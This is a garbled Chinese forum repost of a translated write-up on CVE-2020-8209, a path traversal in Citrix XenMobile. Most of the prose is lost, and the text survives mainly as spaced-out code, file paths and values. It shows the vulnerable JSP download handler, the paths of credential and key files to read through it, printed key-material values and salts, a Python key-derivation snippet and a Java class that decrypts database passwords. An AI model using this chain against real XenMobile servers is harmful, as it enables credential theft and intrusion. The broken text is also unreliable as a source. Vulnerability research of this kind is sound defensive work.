[1151] 2020-11-17_[翻译]CitrixXenMobileCVE-2020-8209目录遍历任意文件读取

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-16
2020-11-17_[翻译]CitrixXenMobileCVE-2020-8209目录遍历任意文件读取 [ ] C i t r i x   X e n M o b i l e   C V E - 2 0 2 0 - 8 2 0 9   C h a B u g   C h a B u g   2 0 2 0 - 1 1 - 1 7 h t t p s : / / s w a r m . p t s e c u r i t y . c o m / p a t h - t r a v e r s a l - o n - c i t r i x - x e n m o b i l e - s e r v e r / A n d r e y   M e d o v C i t r i x   E n d p o i n t   M a n a g e m e n t X e n M o b i l e A c t i v e   D i r e c t o r y 访 使 X e n M o b i l e C V E - 2 0 2 0 - 8 2 0 9   W e b h e l p - s b - d o w n l o a d . j s p < %         S t r i n g   s b F i l e P a t h = " / o p t / s a s / s u p p o r t / " ;         i n t   l e n g t h   =   0 ;         S t r i n g   s b F i l e N a m e = ( S t r i n g ) r e q u e s t . g e t P a r a m e t e r ( " s b F i l e N a m e " ) ;         S e r v l e t O u t p u t S t r e a m   o u t S t r e a m   =   r e s p o n s e . g e t O u t p u t S t r e a m ( ) ;         r e s p o n s e . s e t H e a d e r ( " S e t - C o o k i e " , " f i l e D o w n l o a d = t r u e ;   p a t h = / " ) ;         r e s p o n s e . s e t C o n t e n t T y p e ( " a p p l i c a t i o n / o c t e t - s t r e a m " ) ;         r e s p o n s e . s e t H e a d e r ( " C o n t e n t - D i s p o s i t i o n " ,   " a t t a c h m e n t ;   f i l e n a m e = " "   +   s b F i l e N a m e   +   ' " ' ) ;         F i l e   f i l e   =   n e w   F i l e ( s b F i l e P a t h + s b F i l e N a m e ) ;         b y t e [ ]   b y t e B u f f e r   =   n e w   b y t e [ 4 0 9 6 ] ;         D a t a I n p u t S t r e a m   i n   =   n e w   D a t a I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f i l e ) ) ;         w h i l e ( ( i n   ! =   n u l l )   & &   ( ( l e n g t h   = i n . r e a d ( b y t e B u f f e r ) )   ! =   - 1 ) )         {                 o u t S t r e a m . w r i t e ( b y t e B u f f e r , 0 , l e n g t h ) ;         }         i n . c l o s e ( ) ;         o u t S t r e a m . f l u s h ( ) ; % >
s b F i l e N a m e / o p t / s a s / s u p p o r t / F i l e t o m c a t / o p t / s a s / s w / c o n f i g / s f t u . p r o p e r t i e s { a e s }   [ b a s e 6 4 ] { a e s }   { d b }   [ b a s e 6 4 ] / o p t / s a s / s w / l i b / l i b s e c u r e . s o D a t a S e c u r i t y . j a r / o p t / s a s / r t / k e y s / s e c u r i t y . p r o p e r t i e s 使
使 P . T X T 1 P . T X T 2 P . T X T 3 . t x t / o p t / s a s / r t / k e y s / l i b s e c u r e . s o P . T X T 1 = v f j g e g d w e c m y k h b i s p f g P . T X T 2 = m b e z v f t v z w j o p i r u w e w m P . T X T 3 = g z a o a x m e b r g f f q u a n k d x P 3 . S a l t = W 3 U K 3 P t D V g Y q 9 J d 9 Q K R e A w = = N L K = c T 4 n k j X G c / i U Z 2 T v C V k v m s Z A s N T G / 6 O g E 0 8 Z M W v A T c L 2 f X F g f w A J O / n h E 7 j s i 6 Z h N L K S = S C 0 1 C g = = W K S = C A V R K 9 / 5 + r 5 e s Y + b v r Z J 1 g = = S K = j T y j y N s y F b k r C n a I 9 G q / 0 G V U p 1 f k q 8 n d + V H L e 3 5 T 0 r m m m 8 z 7 o s N t g f S N P F u l S S J 1 S K S = C F 5 e b Q = = U D . G K = 6 9 i c t 4 0 Y l M C 9 E 1 a 2 T c g u 3 U V b 0 L k d 5 R y a d c Q 4 S E w c b K l U C R 8 T v 4 l G v 6 N 6 B k i r K k 7 l G K S = 4 G L R G w = = f r o m   b a s e 6 4   i m p o r t   b 6 4 e n c o d e f r o m   h a s h l i b   i m p o r t   s h a 2 5 6 p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' v f j g e g d w e c m y k h b i s p f g ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) ) p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' m b e z v f t v z w j o p i r u w e w m ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) ) p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' g z a o a x m e b r g f f q u a n k d x ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) )
W b u G F 1 z 7 N + 0 E s L T T C E 3 J o R N g A J J z V e 7 G s 5 J W h p 3 q J E . t x t l Q G K r l f W t a d 6 1 m x y F k U W N i 2 v F 7 I N d f O f i X z V X 1 I 9 5 g . t x t N Z c 0 G g H c L K 4 q z g d Q d Q 0 V 5 0 E o r r k s n J F d u 1 z I I l x x 1 j 8 . t x t 使 / o p t / s a s / s w / l i b / l i b s e c u r e . s o s e c u r i t y . p r o p e r t i e s W b u G F 1 z 7 N + 0 E s L T T C E 3 J o R N g A J J z V e 7 G s 5 J W h p 3 q J E . t x t l Q G K r l f W t a d 6 1 m x y F k U W N i 2 v F 7 I N d f O f i X z V X 1 I 9 5 g . t x t N Z c 0 G g H c L K 4 q z g d Q d Q 0 V 5 0 E o r r k s n J F d u 1 z I I l x x 1 j 8 . t x t l i b s e c u r e . s o X e n M o b i l e J a v a / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / D a t a S e c u r i t y . j a r / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / c o m m o n - i n t e r f a c e s . j a r / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / s l f 4 j - a p i - 1 . 6 . 4 . j a r d e c r y p t . c l a s s i m p o r t   c o m . c i t r i x . x m s . s e c u r i t y . D a t a S e c u r i t y ; c l a s s   d e c r y p t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 i f   ( a r g s . l e n g t h   <   1 )   {                         S y s t e m . o u t . p r i n t l n ( " U s a g e : n         d e c r y p t   [ e n c r y p t e d   s t r i n g ] " ) ;                         r e t u r n ;                 }                 S y s t e m . o u t . p r i n t l n ( D a t a S e c u r i t y . d e c r y p t D b P a s s w o r d ( a r g s [ 0 ] ) ) ;         } }
h t t p s : / / s u p p o r t . c i t r i x . c o m / a r t i c l e / C T X 2 7 7 4 5 7 / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / j s p / h e l p - s b - d o w n l o a d . j s p h e l p - s b - d o w n l o a d . j s p W A F 访 1 .   2 0 2 0 2 2 8 - C i t r i x 2 .   2 0 2 0 3 1 1 - 3 .   2 0 2 0 8 1 1 - 4 .   2 0 2 0 1 1 1 6 -
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则